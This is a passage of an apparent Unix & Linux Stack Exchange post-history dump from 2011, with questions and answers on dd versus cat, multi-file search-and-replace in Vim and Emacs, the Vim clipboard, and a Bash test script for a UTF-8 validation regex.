[Gert has shown a way to to this in Vim](http://unix.stackexchange.com/questions/12523/how-to-do-a-s-fromstr-tostr-in-a-big-folder-hierarchy/12527#12527), though it requires opening all the files that you want to search through, which may be a problem if there are a lot.&#xD;&#xA;&#xD;&#xA;In Emacs, here's how you can do this:&#xD;&#xA;&#xD;&#xA;1. Gather the file names with `M-x find-name-dired` (specify a toplevel directory) or `M-x find-dired` (specify an arbitrary `find` command line).&#xD;&#xA;2. In the resulting [dired](http://www.gnu.org/software/emacs/manual/html_node/emacs/Dired.html) buffer, press `t` to mark all files, then [`Q` (`dired-do-query-replace-regexp`)](http://www.gnu.org/software/emacs/manual/html_node/emacs/Operating-on-Files.html) to perform a replacement with prompting on the marked files.&#xD;&#xA;" />
  <row Id="30741" PostHistoryTypeId="2" PostId="12534" RevisionGUID="b3a19264-af98-450b-86f2-b168952f562d" CreationDate="2011-05-03T14:31:34.327" UserId="1925" Text="The `dd` command includes LOTS of options that cat is not able to accommodate. Perhaps in your usage cases cat is a workable substitute, but it is not a dd replacement.&#xD;&#xA;&#xD;&#xA;Some examples are using `dd` to copy parts of something but not the whole thing. Perhaps you want to rip out some of the bits from the middle of an iso image or the partition table from a hard drive based on a known location on the device. With `dd` you can specific start, stop and quantity options that allow these actions that cat cannot touch. It is indispensable for manipulating low level data on devices where cat can only operate on operating system recognized file system items or streams." />
  <row Id="30742" PostHistoryTypeId="5" PostId="12523" RevisionGUID="5b8d1be9-26c8-4ab6-88f9-29b2fbf29626" CreationDate="2011-05-03T14:34:47.420" UserId="885" Comment="clarified the prompting; formatting;" Text="I want to search and replace some text in a large set of files excluding some instances. For each line, I want a prompt asking me if I need to replace that line or not.&#xD;&#xA;Something similar to vim's `:%s/from/to/gc` (with the `c` to prompt for confirmation), but across a set of folders.&#xD;&#xA;Is there some good command line tool or script that can be used?&#xD;&#xA;" />
  <row Id="30743" PostHistoryTypeId="4" PostId="12523" RevisionGUID="5b8d1be9-26c8-4ab6-88f9-29b2fbf29626" CreationDate="2011-05-03T14:34:47.420" UserId="885" Comment="clarified the prompting; formatting;" Text="How to do a text replacement in a big folder hierarchy?" />
  <row Id="30744" PostHistoryTypeId="6" PostId="12523" RevisionGUID="5b8d1be9-26c8-4ab6-88f9-29b2fbf29626" CreationDate="2011-05-03T14:34:47.420" UserId="885" Comment="clarified the prompting; formatting;" Text="étextöprocessingàévimàéscriptingàéinteractiveà" />
  <row Id="30745" PostHistoryTypeId="5" PostId="12527" RevisionGUID="64b10ca7-2628-4bd2-9924-d7afb688112e" CreationDate="2011-05-03T14:37:22.707" UserId="885" Comment="open only regular files" Text="Why not use vim?&#xD;&#xA;&#xD;&#xA;Open all files in vim&#xD;&#xA;&#xD;&#xA;    vim $(find . -type f)&#xD;&#xA;&#xD;&#xA;And do then run the replace in all buffers&#xD;&#xA;&#xD;&#xA;    :bufdo %s/from/to/g*c* | update&#xD;&#xA;&#xD;&#xA;You can also do it with `sed`, but my sed knowledge is limited." />
  <row Id="30746" PostHistoryTypeId="2" PostId="12535" RevisionGUID="675010ef-f4d6-497f-9071-3b8cfdd644a1" CreationDate="2011-05-03T14:51:43.753" UserId="1594" Text="I'm trying to copy-paste some text from vim. I'm doing y to enter visual mode, then y once I selected my block.&#xD;&#xA;&#xD;&#xA;It appears to copy the text into vim's clipboard, because p will paste it.&#xD;&#xA;But in another program (e.g. Chrome), right-click-&gt;paste doesn't paste the correct text. How do I copy text to the correct clipboard?" />
  <row Id="30747" PostHistoryTypeId="1" PostId="12535" RevisionGUID="675010ef-f4d6-497f-9071-3b8cfdd644a1" CreationDate="2011-05-03T14:51:43.753" UserId="1594" Text="How to copy text from vim to an external program?" />
  <row Id="30748" PostHistoryTypeId="3" PostId="12535" RevisionGUID="675010ef-f4d6-497f-9071-3b8cfdd644a1" CreationDate="2011-05-03T14:51:43.753" UserId="1594" Text="éubuntuàégnomeàévimàéclipboardà" />
  <row Id="30749" PostHistoryTypeId="2" PostId="12536" RevisionGUID="8262f479-99dd-4095-8e50-ce18b0b13625" CreationDate="2011-05-03T14:53:52.610" UserId="1594" Text="Never mind, I found the answer - it's written on the vim's menus.&#xD;&#xA;&#xD;&#xA;    &quot;+y&#xD;&#xA;&#xD;&#xA;Very intuitive." />
  <row Id="30752" PostHistoryTypeId="2" PostId="12538" RevisionGUID="dd387c78-1891-47b9-a204-a05fd654439f" CreationDate="2011-05-03T15:12:39.353" UserId="885" Text="In appearance, [`dd`](http://en.wikipedia.org/wiki/Dd_%28Unix%29) is a tool from an IBM operating system that's retained its foreign appearance (its parameter passing), which performs some very rarely-used functions (such as EBCDIC to ASCII conversions or endianness reversal… not a common need nowadays).&#xD;&#xA;&#xD;&#xA;I [used to think](http://unix.stackexchange.com/questions/11464/how-to-write-repeated-free-form-strings-to-a-file-as-fast-as-dd/11468#11468) that `dd` was faster for copying large blocks of data on the same disk (due to more efficient use of buffering), but this [isn't true](http://unix.stackexchange.com/questions/9432/is-there-a-way-to-determine-the-optimal-value-for-the-bs-parameter-to-dd/9492#9492), at least on today's Linux systems.&#xD;&#xA;&#xD;&#xA;I think some of `dd`'s options are useful when deadling with tapes, where reading is really performed in blocks (tape drivers don't hide the blocks on the storage medium the way disk drivers do). But I don't know the specifics.&#xD;&#xA;&#xD;&#xA;One thing `dd` can do that can't (easily) be done by any other POSIX tool is taking the first N bytes of a stream. Many systems can do it with `head -c 42`, but `head -c`, while common, isn't in POSIX (and ins't available today on e.g. OpenBSD). (`tail -c` is POSIX.)&#xD;&#xA;&#xD;&#xA;More generally, `dd` gives an interface to the underlying file API that is unique amongst Unix tools: only `dd` can **overwrite or truncate** a file **at any point** or **seek** in a file. (This is `dd`'s unique ability, and it's a big one; oddly enough `dd` is best known for things that other tools can do.)&#xD;&#xA;&#xD;&#xA;* Most Unix tools overwrite their output file, i.e. erase its contents and start it over from scratch. This is what happens when you use `&gt;` redirection in the shell as well.&#xD;&#xA;* You can append to a file's contents with `&gt;&gt;` redirection in the shell, or with `tee -a`.&#xD;&#xA;* If you want to shorten a file by removing all data *after a certain point*, this is supported by the underlying kernel and C API through the [`truncate`](http://pubs.opengroup.org/onlinepubs/009695399/functions/truncate.html) function, but not exposed by any command line tool [except `dd`](http://unix.stackexchange.com/questions/1279/how-can-i-edit-large-file/1305#1305):&#xD;&#xA;&#xD;&#xA;        dd if=/dev/null of=/file/to/truncate seek=1 bs=123456  # truncate file to 123456 bytes&#xD;&#xA;&#xD;&#xA;* If you want to overwrite data in the middle of a file, again, this is possible in the underyling API by [opening](http://pubs.opengroup.org/onlinepubs/009695399/functions/open.html) the file for writing without truncating (and calling [`lseek`](http://pubs.opengroup.org/onlinepubs/009695399/functions/lseek.html) to move to the desired position if necessary), but only `dd` can open a file without truncating or appending, or or [seek(http://unix.stackexchange.com/questions/8852/is-there-a-search-utility-which-can-binary-split-search-a-large-sorted-sequentia) from the shell ([more complex example](http://unix.stackexchange.com/questions/11067/is-there-a-way-to-modify-a-file-in-place/11114#11114)).&#xD;&#xA;&#xD;&#xA;        # zero out the second kB block in the file (i.e. bytes 1024 to 2047)&#xD;&#xA;        dd if=/dev/zero of=/path/to/file bs=1024 seek=1 count=1 conv=notrunc&#xD;&#xA;&#xD;&#xA;So… As a system tool, `dd` is pretty much useless. As a text (or binary file) processing tool, it's quite valuable!&#xD;&#xA;" />
  <row Id="30755" PostHistoryTypeId="4" PostId="12506" RevisionGUID="3bda3afd-519f-4baa-8a98-28b60c0ec93c" CreationDate="2011-05-03T15:19:37.813" UserId="6200" Comment="edited title" Text="What does '//' mean in return from `which`" />
  <row Id="30757" PostHistoryTypeId="2" PostId="12539" RevisionGUID="8f6db7d8-eeea-4c51-9f2f-f9760ece15a9" CreationDate="2011-05-03T15:27:09.980" UserId="4843" Text="[From LIVE CD ], Run the command:&#xD;&#xA;&#xD;&#xA;&gt; /lib/udev/vol_id /dev/sda2&#xD;&#xA;&#xD;&#xA;&gt; /lib/udev/vol_id /dev/sda3&#xD;&#xA;&#xD;&#xA;&gt; /lib/udev/vol_id /dev/sda4&#xD;&#xA;&#xD;&#xA;And observe the output, If it did not recognize the partition type, then _most probably_ the partition is corrupted." />
  <row Id="30758" PostHistoryTypeId="2" PostId="12540" RevisionGUID="52485a15-b194-4783-887c-40e122f4d65e" CreationDate="2011-05-03T15:46:57.717" UserId="3848" Text="Rather than changing your path, you should move the binary you are interested in from &quot;binary&quot; to &quot;binary.orig&quot; then replace it with a script.  You said you are interested in the arguments, so you'll want to write those out to a file as well.  You will probably also be interested in the output of the command &quot;env&quot;.  It dumps all the environment variables currently active.  Environment variables are often used by one program to influence the behavior of another program that it calls." />
  <row Id="30760" PostHistoryTypeId="5" PostId="12538" RevisionGUID="c5339f8b-be55-4d2e-8c60-b429118ddd06" CreationDate="2011-05-03T17:33:29.000" UserId="2421" Comment="fixed broken link" Text="In appearance, [`dd`](http://en.wikipedia.org/wiki/Dd_%28Unix%29) is a tool from an IBM operating system that's retained its foreign appearance (its parameter passing), which performs some very rarely-used functions (such as EBCDIC to ASCII conversions or endianness reversal… not a common need nowadays).&#xD;&#xA;&#xD;&#xA;I [used to think](http://unix.stackexchange.com/questions/11464/how-to-write-repeated-free-form-strings-to-a-file-as-fast-as-dd/11468#11468) that `dd` was faster for copying large blocks of data on the same disk (due to more efficient use of buffering), but this [isn't true](http://unix.stackexchange.com/questions/9432/is-there-a-way-to-determine-the-optimal-value-for-the-bs-parameter-to-dd/9492#9492), at least on today's Linux systems.&#xD;&#xA;&#xD;&#xA;I think some of `dd`'s options are useful when deadling with tapes, where reading is really performed in blocks (tape drivers don't hide the blocks on the storage medium the way disk drivers do). But I don't know the specifics.&#xD;&#xA;&#xD;&#xA;One thing `dd` can do that can't (easily) be done by any other POSIX tool is taking the first N bytes of a stream. Many systems can do it with `head -c 42`, but `head -c`, while common, isn't in POSIX (and ins't available today on e.g. OpenBSD). (`tail -c` is POSIX.)&#xD;&#xA;&#xD;&#xA;More generally, `dd` gives an interface to the underlying file API that is unique amongst Unix tools: only `dd` can **overwrite or truncate** a file **at any point** or **seek** in a file. (This is `dd`'s unique ability, and it's a big one; oddly enough `dd` is best known for things that other tools can do.)&#xD;&#xA;&#xD;&#xA;* Most Unix tools overwrite their output file, i.e. erase its contents and start it over from scratch. This is what happens when you use `&gt;` redirection in the shell as well.&#xD;&#xA;* You can append to a file's contents with `&gt;&gt;` redirection in the shell, or with `tee -a`.&#xD;&#xA;* If you want to shorten a file by removing all data *after a certain point*, this is supported by the underlying kernel and C API through the [`truncate`](http://pubs.opengroup.org/onlinepubs/009695399/functions/truncate.html) function, but not exposed by any command line tool [except `dd`](http://unix.stackexchange.com/questions/1279/how-can-i-edit-large-file/1305#1305):&#xD;&#xA;&#xD;&#xA;        dd if=/dev/null of=/file/to/truncate seek=1 bs=123456  # truncate file to 123456 bytes&#xD;&#xA;&#xD;&#xA;* If you want to overwrite data in the middle of a file, again, this is possible in the underyling API by [opening](http://pubs.opengroup.org/onlinepubs/009695399/functions/open.html) the file for writing without truncating (and calling [`lseek`](http://pubs.opengroup.org/onlinepubs/009695399/functions/lseek.html) to move to the desired position if necessary), but only `dd` can open a file without truncating or appending, or [seek](http://unix.stackexchange.com/questions/8852/is-there-a-search-utility-which-can-binary-split-search-a-large-sorted-sequentia) from the shell ([more complex example](http://unix.stackexchange.com/questions/11067/is-there-a-way-to-modify-a-file-in-place/11114#11114)).&#xD;&#xA;&#xD;&#xA;        # zero out the second kB block in the file (i.e. bytes 1024 to 2047)&#xD;&#xA;        dd if=/dev/zero of=/path/to/file bs=1024 seek=1 count=1 conv=notrunc&#xD;&#xA;&#xD;&#xA;So… As a system tool, `dd` is pretty much useless. As a text (or binary file) processing tool, it's quite valuable!&#xD;&#xA;" />
  <row Id="30761" PostHistoryTypeId="25" PostId="12532" RevisionGUID="5b03be32-7905-428b-b799-a053951ab632" CreationDate="2011-05-03T18:11:22.567" Comment="http://twitter.com/#!/StackUnix/status/65478571820457984" />
  <row Id="30762" PostHistoryTypeId="2" PostId="12541" RevisionGUID="1a973e1e-e5fa-4f85-80b0-64b49cab90c5" CreationDate="2011-05-03T18:13:54.903" UserId="5785" Text="If I can send audio to the output devices, then I can record the same audio as a wave. With filesystems, you can just setup a loopback filesystem and write binary data on a file instead of a device.&#xD;&#xA;&#xD;&#xA;My question is: Can I send the audio signal to a (for instance) WAV file instead of my audio devices? How?" />
  <row Id="30763" PostHistoryTypeId="1" PostId="12541" RevisionGUID="1a973e1e-e5fa-4f85-80b0-64b49cab90c5" CreationDate="2011-05-03T18:13:54.903" UserId="5785" Text="Can I setup a loopback audio device?" />
  <row Id="30764" PostHistoryTypeId="3" PostId="12541" RevisionGUID="1a973e1e-e5fa-4f85-80b0-64b49cab90c5" CreationDate="2011-05-03T18:13:54.903" UserId="5785" Text="éaudioàédevicesà" />
  <row Id="30765" PostHistoryTypeId="2" PostId="12542" RevisionGUID="27f1949c-1bad-44c0-a98d-3e59d321b684" CreationDate="2011-05-03T18:23:54.970" UserId="3389" Text="`dd` is very useful for backing up the boot sector of a hard drive or other storage device (`dd if=/dev/sda of=boot_sector.bin bs=512 count=1` ) and then later rewriting it (`dd if=boot_sector.bin of=/dev/sda`).  It is similarly useful for backing up the headers of encrypted volumes.&#xD;&#xA;&#xD;&#xA;`cat` might be able to be twisted into doing that but I wouldn't trust it on the rewriting part." />
  <row Id="30766" PostHistoryTypeId="5" PostId="12542" RevisionGUID="457cffa5-72c1-4722-b06d-36f0a467741f" CreationDate="2011-05-03T18:29:38.660" UserId="3389" Comment="added 75 characters in body" Text="`dd` is very useful for backing up the boot sector of a hard drive or other storage device (`dd if=/dev/sda of=boot_sector.bin bs=512 count=1` ) and then later rewriting it (`dd if=boot_sector.bin of=/dev/sda`).  It is similarly useful for backing up the headers of encrypted volumes.&#xD;&#xA;&#xD;&#xA;`cat` might be able to be twisted into doing that but I wouldn't trust it on the rewriting part.  It's difficult to get `cat` to only read/write a certain number of bytes." />
  <row Id="30767" PostHistoryTypeId="2" PostId="12543" RevisionGUID="087fb6b5-907f-4874-8646-db1c660af09b" CreationDate="2011-05-03T18:33:16.550" UserId="3389" Text="There might be a &quot;hook script&quot; running that is exiting with a status code 0 indicating to the main `dhcp3-server` program that all is well, but it really isn't.&#xD;&#xA;&#xD;&#xA;On my Debian system the directories are `/etc/dhclient-enter-hooks.d` (intuition tells me here is to look) and `/etc/dhclient-exit-hooks.d`, don't know where'd they be for Red Hat." />
  <row Id="30768" PostHistoryTypeId="2" PostId="12544" RevisionGUID="82a82b36-2e21-4785-b003-ac6e582e8331" CreationDate="2011-05-03T18:47:19.790" UserId="5094" Text="I recently had had cause to clone some multiple-100s-of-GB partitions for the first time in my linuxing history (c.f `cp -ar` or `rsync` which have served me well many times).  Of course I turned to `dd` 'cos everyone knows that's what you use... and was appalled by the performance.  A bit of googling soon led me to [`ddrescue`][1], which I've used a few times now and works superbly well (much faster than dd).&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/ddrescue/manual/ddrescue_manual.html" />
  <row Id="30769" PostHistoryTypeId="2" PostId="12545" RevisionGUID="4dce6181-250f-4e65-99ff-7d84019f2e05" CreationDate="2011-05-03T18:50:21.163" UserId="2343" Text="Here is a regex to UTF-8 data for validity... The tests so far have only been on a single codepoint. The regex matches the results of 'iconv` for the entire UTF-8 range.. (0x000000 - 0x10FFFF)...  Note. the regex, as shown, is set to test a single UTF-8 character.  &#xD;&#xA;&#xD;&#xA;    perl -l -ne '/^(([\x00-\x7F])|([\xC2-\xDF][\x80-\xBF])|((([\xE0][\xA0-\xBF])|([\xED][\x80-\x9F])|([\xE1-\xEC\xEE-\xEF][\x80-\xBF]))([\80-\xBF]))|((([\xF0][\x90-\xBF])|([\xF1-\xF3][\x80-\xBF])|([\xF4][\x80-\x8F]))([\80-\xBF]{2})))$/ or print')&quot;&#xD;&#xA;&#xD;&#xA;I haven't thrown a lot of whacky byte forms at it yet, but it certaily recognizes invalid sequences in the Unicode range, such as  U+D000 to U-DFFF  &#xD;&#xA;10FFFF  &#xD;&#xA;&#xD;&#xA;&gt; Unicode range D800-DFFF is used as&#xD;&#xA;&gt; surrogate pair in UTF-16 (used by&#xD;&#xA;&gt; Windows) and CESU-8 transformation&#xD;&#xA;&gt; formats. Unicode and ISO/IEC 10646 do&#xD;&#xA;&gt; not assign characters to any of the&#xD;&#xA;&gt; code points in the D800-DFFF range, so&#xD;&#xA;&gt; an individual code value from a&#xD;&#xA;&gt; surrogate pair does not represent a&#xD;&#xA;&gt; character. A couple of code points —&#xD;&#xA;&gt; the first from the high surrogate area&#xD;&#xA;&gt; (D800-DBFF), and the second from the&#xD;&#xA;&gt; low surrogate area (DC00-DFFF) — are&#xD;&#xA;&gt; used to represent a character in&#xD;&#xA;&gt; supplementary planes. Any code&#xD;&#xA;&gt; D800-DFFF is invalid unless used in a&#xD;&#xA;&gt; surrogate pair, and is unconditionally&#xD;&#xA;&gt; invalid in UTF-32 and UTF-8 (if strict&#xD;&#xA;&gt; conformance to the standard is&#xD;&#xA;&gt; applied)  &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Here are the test modules: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # Testing the UTF-8 regex&#xD;&#xA;    #&#xD;&#xA;    # There general approach I've taken is quite empirical, and tests the &#xD;&#xA;    #   entire spectrum, char by char, for the range 0x000000 to 0x10FFFF&#xD;&#xA;    # The reference for validity is 'iconv'.&#xD;&#xA;    #   because I may not be fully aware of all the quirks of &#xD;&#xA;    #   interactions between UTF-16 and UTF-8 (eg. the 'missing' range&#xD;&#xA;    #    eg  \xE000	to \xE7FF ... invalid in UTF-16 (for surrogates)&#xD;&#xA;    # I've opted for brute force Tests for Valid UTF-8 byte values &#xD;&#xA;    #   Some tests are painfully slow, but &quot;c'est la vie&quot;.. &#xD;&#xA;    #   ...it gives the  CPU something to do. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # Generate Empirical reference Data &#xD;&#xA;    #   (for visual checks of what actually happens in such places as&#xD;&#xA;    #   \xE000	to \xE7FF ... invalid in UTF-16 (for surrogates &#xD;&#xA;    #   and for general observations of the variations of byte pattern ranges.&#xD;&#xA;    # ====================================================================&#xD;&#xA;      MuLingPlane=0 #  run-dump=1   do-not-dump=0 *** SLOW!&#xD;&#xA;      AstralPlane=0 #  run-dump=1   do-not-dump=0 *** VERY SLOW!&#xD;&#xA;    #&#xD;&#xA;    # Tests to check that the observed byte-ranges (above) have&#xD;&#xA;    #  been  accurately observed and included in the test code and final regex. &#xD;&#xA;    # =========================================================================&#xD;&#xA;    : 2 bytes; B2=0 #  run-test=1   do-not-test=0&#xD;&#xA;    : 3 bytes; B3=0 #  run-test=1   do-not-test=0&#xD;&#xA;    : 4 bytes; B4=0 #  run-test=1   do-not-test=0 &#xD;&#xA;&#xD;&#xA;    :   regex; rx=0 #  run-test=1   do-not-test=0 &#xD;&#xA;&#xD;&#xA;    # Dump Unicode Multi-Lingual Plane values. 0x0001 to 0xFFFF   # skip 0x0000; (null can be a problem in some text editors) &#xD;&#xA;    if ((MuLingPlane==1)) ; then  &#xD;&#xA;      time \&#xD;&#xA;      for d1 in {0..255} ;do&#xD;&#xA;          b1=$(printf &quot;%0.2X&quot; $d1)&#xD;&#xA;          for d2 in {0..255} ;do&#xD;&#xA;              b2=$(printf &quot;%0.2X&quot; $d2)&#xD;&#xA;              [[ ${b1}${b2} == &quot;0000&quot; ]] &amp;&amp; continue&#xD;&#xA;             #[[ ${b1}${b2} &lt;  &quot;D800&quot; ]] &amp;&amp; continue&#xD;&#xA;              [[ ${b1}${b2} &gt;  &quot;D7FF&quot; &amp;&amp;  ${b1}${b2} &lt; &quot;E000&quot;  ]] &amp;&amp; continue&#xD;&#xA;              echo -ne  &quot;${b1}${b2}\t&quot;&#xD;&#xA;              echo -n  0x${b1}${b2} |recode UTF-16BE/x4..UTF-8 || exit 1&#xD;&#xA;              echo -ne &quot;\t&quot;; &#xD;&#xA;              echo -e  0x${b1}${b2} |recode UTF-16BE/x4..UTF-8/x |sed -e &quot;s/0x\|,//g&quot;&#xD;&#xA;          done&#xD;&#xA;      done&#xD;&#xA;      exit&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    # Dump Unicode Astral-Plane values. 0x010000 to 0x10FFFF&#xD;&#xA;    #                                f0 90 80 80 -- f4 8f bf bf &#xD;&#xA;    if ((AstralPlane==1)) ; then&#xD;&#xA;      # real    549m46.727s                                                                   &#xD;&#xA;      # user    434m8.284s                                                                    &#xD;&#xA;      # sys     211m2.307s&#xD;&#xA;      time \&#xD;&#xA;      for d1 in {1..16} ;do&#xD;&#xA;          b1=$(printf &quot;%0.2X&quot; $d1)&#xD;&#xA;          for d2 in {0..255} ;do&#xD;&#xA;              b2=$(printf &quot;%0.2X&quot; $d2)&#xD;&#xA;              for d3 in {0..255} ;do&#xD;&#xA;                  b3=$(printf &quot;%0.2X&quot; $d3)&#xD;&#xA;                  echo -ne  &quot;${b1}${b2}${b3}\t&quot;&#xD;&#xA;                  python -c &quot;import sys; sys.stdout.write(unichr(int('${b1}${b2}${b3}', 16)).encode('utf-8'))&quot;  || exit 1&#xD;&#xA;                  echo -ne &quot;\t&quot;;&#xD;&#xA;                  python -c &quot;print(unichr(int('${b1}${b2}${b3}', 16)).encode('utf-8').encode('hex'))&quot; |&#xD;&#xA;                    sed -e &quot;s/\(..\)\(..\)\(..\)\(..\)/\1 \2 \3 \4/g&quot;&#xD;&#xA;              done&#xD;&#xA;          done&#xD;&#xA;      done&#xD;&#xA;      exit&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    #########################################################################  &#xD;&#xA;&#xD;&#xA;    # 1 byte  UTF-8 values: Nothing to do; no complexities.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #########################################################################  &#xD;&#xA;    #########################################################################&#xD;&#xA;&#xD;&#xA;    #  2 Byte  UTF-8 values:  Verifying that I've got the right range values.&#xD;&#xA;    if ((B2==1)) ; then  &#xD;&#xA;      echo &quot;# Test 2 bytes for Valid UTF-8 values: ie. values which are in range&quot;&#xD;&#xA;      # =========================================================================&#xD;&#xA;      time \&#xD;&#xA;      for d1 in {194..223} ;do&#xD;&#xA;          #     bin       oct  hex  dec&#xD;&#xA;          # lo  11000010  302   C2  194&#xD;&#xA;          # hi  11011111  337   DF  223&#xD;&#xA;          B2b1=$(printf &quot;%0.2X&quot; $d1)&#xD;&#xA;          #&#xD;&#xA;          for d2 in {128..191} ;do&#xD;&#xA;              #     bin       oct  hex  dec&#xD;&#xA;              # lo  10000000  200   80  128&#xD;&#xA;              # hi  10111111  277   BF  191&#xD;&#xA;              B2b2=$(printf &quot;%0.2X&quot; $d2)&#xD;&#xA;              #&#xD;&#xA;              echo -n &quot;${B2b1}${B2b2}&quot; |&#xD;&#xA;                xxd -p -u -r  |&#xD;&#xA;                  iconv -f UTF-8 &gt;/dev/null || { &#xD;&#xA;                    echo &quot;ERROR: Invalid UTF-8 found: ${B2b1}${B2b2}&quot;; exit 20; }&#xD;&#xA;              #&#xD;&#xA;          done&#xD;&#xA;      done&#xD;&#xA;      echo&#xD;&#xA;      &#xD;&#xA;      # Now do a negated test.. This takes longer, because there are more values.&#xD;&#xA;      echo &quot;# Test 2 bytes for Invalid values: ie. values which are out of range&quot;&#xD;&#xA;      # =========================================================================&#xD;&#xA;      # Note: 'iconv' will treat a leading  \x00-\x7F as a valid leading single,&#xD;&#xA;      #   so this negated test primes the first UTF-8 byte with values starting at \x80&#xD;&#xA;      time \&#xD;&#xA;      for d1 in {128..193} {224..255} ;do &#xD;&#xA;     #for d1 in {128..194} {224..255} ;do # force a valid UTF-8 (needs $B2b2) &#xD;&#xA;          B2b1=$(printf &quot;%0.2X&quot; $d1)&#xD;&#xA;          #&#xD;&#xA;          for d2 in {0..127} {192..255} ;do&#xD;&#xA;         #for d2 in {0..128} {192..255} ;do # force a valid UTF-8 (needs $B2b1)&#xD;&#xA;              B2b2=$(printf &quot;%0.2X&quot; $d2)&#xD;&#xA;              #&#xD;&#xA;              echo -n &quot;${B2b1}${B2b2}&quot; |&#xD;&#xA;                xxd -p -u -r |&#xD;&#xA;                  iconv -f UTF-8 2&gt;/dev/null &amp;&amp; { &#xD;&#xA;                    echo &quot;ERROR: VALID UTF-8 found: ${B2b1}${B2b2}&quot;; exit 21; }&#xD;&#xA;              #&#xD;&#xA;          done&#xD;&#xA;      done&#xD;&#xA;      echo&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    #########################################################################&#xD;&#xA;    #########################################################################&#xD;&#xA;    #########################################################################&#xD;&#xA;&#xD;&#xA;    #  3 Byte  UTF-8 values:  Verifying that I've got the right range values.&#xD;&#xA;    if ((B3==1)) ; then  &#xD;&#xA;      echo &quot;# Test 3 bytes for Valid UTF-8 values: ie. values which are in range&quot;&#xD;&#xA;      # ========================================================================&#xD;&#xA;      time \&#xD;&#xA;      for d1 in {224..239} ;do&#xD;&#xA;          #     bin       oct  hex  dec&#xD;&#xA;          # lo  11100000  340   E0  224&#xD;&#xA;          # hi  11101111  357   EF  239&#xD;&#xA;          B3b1=$(printf &quot;%0.2X&quot; $d1)&#xD;&#xA;          #&#xD;&#xA;          if   [[ $B3b1 == &quot;E0&quot; ]] ; then&#xD;&#xA;              B3b2range=&quot;$(echo {160..191})&quot;&#xD;&#xA;              #     bin       oct  hex  dec  &#xD;&#xA;              # lo  10100000  240   A0  160  &#xD;&#xA;              # hi  10111111  277   BF  191&#xD;&#xA;          elif [[ $B3b1 == &quot;ED&quot; ]] ; then&#xD;&#xA;              B3b2range=&quot;$(echo {128..159})&quot;&#xD;&#xA;              #     bin       oct  hex  dec  &#xD;&#xA;              # lo  10000000  200   80  128  &#xD;&#xA;              # hi  10011111  237   9F  159&#xD;&#xA;          else&#xD;&#xA;              B3b2range=&quot;$(echo {128..191})&quot;&#xD;&#xA;              #     bin       oct  hex  dec&#xD;&#xA;              # lo  10000000  200   80  128&#xD;&#xA;              # hi  10111111  277   BF  191&#xD;&#xA;          fi&#xD;&#xA;          # &#xD;&#xA;          for d2 in $B3b2range ;do&#xD;&#xA;              B3b2=$(printf &quot;%0.2X&quot; $d2)&#xD;&#xA;              echo &quot;${B3b1} ${B3b2} xx&quot;&#xD;&#xA;              #&#xD;&#xA;              for d3 in {128..191} ;do&#xD;&#xA;                  #     bin       oct  hex  dec&#xD;&#xA;                  # lo  10000000  200   80  128&#xD;&#xA;                  # hi  10111111  277   BF  191&#xD;&#xA;                  B3b3=$(printf &quot;%0.2X&quot; $d3)&#xD;&#xA;                  #&#xD;&#xA;                  echo -n &quot;${B3b1}${B3b2}${B3b3}&quot; |&#xD;&#xA;                    xxd -p -u -r  |&#xD;&#xA;                      iconv -f UTF-8 &gt;/dev/null || { &#xD;&#xA;                        echo &quot;ERROR: Invalid UTF-8 found: ${B3b1}${B3b2}${B3b3}&quot;; exit 30; }&#xD;&#xA;                  #&#xD;&#xA;              done&#xD;&#xA;          done&#xD;&#xA;      done&#xD;&#xA;      echo&#xD;&#xA;&#xD;&#xA;      # Now do a negated test.. This takes longer, because there are more values.&#xD;&#xA;      echo &quot;# Test 3 bytes for Invalid values: ie. values which are out of range&quot;&#xD;&#xA;      # =========================================================================&#xD;&#xA;      # Note: 'iconv' will treat a leading  \x00-\x7F as a valid leading single,&#xD;&#xA;      #   so this negated test primes the first UTF-8 byte with values starting at \x80&#xD;&#xA;      #&#xD;&#xA;      # real     26m28.462s \ &#xD;&#xA;      # user     27m12.526s  | stepping by 2&#xD;&#xA;      # sys      13m11.193s /&#xD;&#xA;      #&#xD;&#xA;      # real    239m00.836s \&#xD;&#xA;      # user    225m11.108s  | stepping by 1&#xD;&#xA;      # sys     120m00.538s /&#xD;&#xA;      #&#xD;&#xA;      time \&#xD;&#xA;      for d1 in {128..223..1} {240..255..1} ;do &#xD;&#xA;     #for d1 in {128..224..1} {239..255..1} ;do # force a valid UTF-8 (needs $B2b2,$B3b3) &#xD;&#xA;          B3b1=$(printf &quot;%0.2X&quot; $d1)&#xD;&#xA;          #&#xD;&#xA;          if   [[ $B3b1 == &quot;E0&quot; ]] ; then&#xD;&#xA;              B3b2range=&quot;$(echo {0..159..1} {192..255..1})&quot;&#xD;&#xA;             #B3b2range=&quot;$(&gt; {192..255..1})&quot; # force a valid UTF-8 (needs $B3b1,$B3b3)&#xD;&#xA;          elif [[ $B3b1 == &quot;ED&quot; ]] ; then&#xD;&#xA;              B3b2range=&quot;$(echo {0..127..1} {160..255..1})&quot;&#xD;&#xA;             #B3b2range=&quot;$(echo {0..128..1} {160..255..1})&quot; # force a valid UTF-8 (needs $B3b1,$B3b3)&#xD;&#xA;          else&#xD;&#xA;              B3b2range=&quot;$(echo {0..127..1} {192..255..1})&quot;&#xD;&#xA;             #B3b2range=&quot;$(echo {0..128..1} {192..255..1})&quot; # force a valid UTF-8 (needs $B3b1,$B3b3)&#xD;&#xA;          fi&#xD;&#xA;          for d2 in $B3b2range ;do&#xD;&#xA;              B3b2=$(printf &quot;%0.2X&quot; $d2)&#xD;&#xA;              echo &quot;${B3b1} ${B3b2} xx&quot;&#xD;&#xA;              #&#xD;&#xA;              for d3 in {0..127..1} {192..255..1} ;do&#xD;&#xA;             #for d3 in {0..128..1} {192..255..1} ;do # force a valid UTF-8 (needs $B2b1)&#xD;&#xA;                  B3b3=$(printf &quot;%0.2X&quot; $d3)&#xD;&#xA;                  #&#xD;&#xA;                  echo -n &quot;${B3b1}${B3b2}${B3b3}&quot; |&#xD;&#xA;                    xxd -p -u -r |&#xD;&#xA;                      iconv -f UTF-8 2&gt;/dev/null &amp;&amp; { &#xD;&#xA;                        echo 